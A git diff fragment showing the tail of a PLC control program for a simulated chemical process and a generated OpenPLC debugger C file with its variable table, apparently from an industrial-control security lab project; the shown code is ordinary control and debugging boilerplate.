VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, 